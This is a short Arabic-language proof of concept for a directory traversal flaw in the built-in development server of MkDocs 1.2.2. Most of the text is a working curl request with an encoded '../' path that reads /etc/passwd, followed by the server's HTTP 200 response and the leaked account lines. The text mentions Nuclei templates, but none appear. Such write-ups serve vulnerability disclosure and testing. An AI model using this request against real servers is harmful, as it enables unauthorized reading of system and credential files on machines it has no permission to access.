
إثبات مفهوم لثغرة اجتياز الدليل في خادم التطوير المدمج بـ MkDocs 1.2.2، مما يتيح قراءة ملفات عشوائية عبر اجتياز مسار مشفّر. يتضمن أمثلة على قوالب curl و Nuclei.
استغلال اجتياز الدليل في خادم التطوير المدمج الخاص بـ mkdocs
يسمح Mkdocs 1.2.2 باجتياز الدليل عبر خادم التطوير المدمج الذي يستجيب على المنفذ 8000. فيما يلي بعض الأمثلة على المسارات التي تم استغلالها بنجاح:
باستخدام هذه التقنية، يمكن جلب ملفات خارج دليل الجذر، مما يسمح لأي شخص بقراءة وتنزيل ملفات عشوائية.



curl http://0.0.0.0:8000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd -i
HTTP/1.0 200 OK
Date: Mon, 04 Oct 2021 02:13:38 GMT
Server: WSGIServer/0.2 CPython/3.7.3
Content-Type: application/octet-stream
Content-Length: 2187
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync...
